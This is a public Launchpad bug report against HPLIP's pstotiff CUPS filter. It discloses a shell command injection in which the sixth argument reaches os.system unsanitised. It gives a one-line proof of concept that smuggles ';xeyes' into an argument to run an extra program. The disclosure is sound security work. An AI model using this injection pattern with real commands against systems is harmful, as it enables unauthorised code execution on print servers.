pstotiff filter : Possible shell code injection

Bug #1599832 reported by Bernd Dietzel
256
This bug affects 1 person
Affects Status Importance Assigned to Milestone
HPLIP
New
Undecided
Unassigned

Bug Description

Proof of concept which will run the program xeyes but should not:

python /usr/lib/cups/filter/pstotiff 1 2 3 4 5 ";xeyes"

reason :
sys.argv[6] is passed to this os.system call :

exit_code = os.system(gs_command)

Tags: psttotiff
Revision history for this message
Bernd Dietzel (l-ubuntuone1104) wrote :
description: updated
information type: Private Security → Public Security
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Bug attachments

Remote bug watches

Bug watches keep track of this bug in other bug trackers.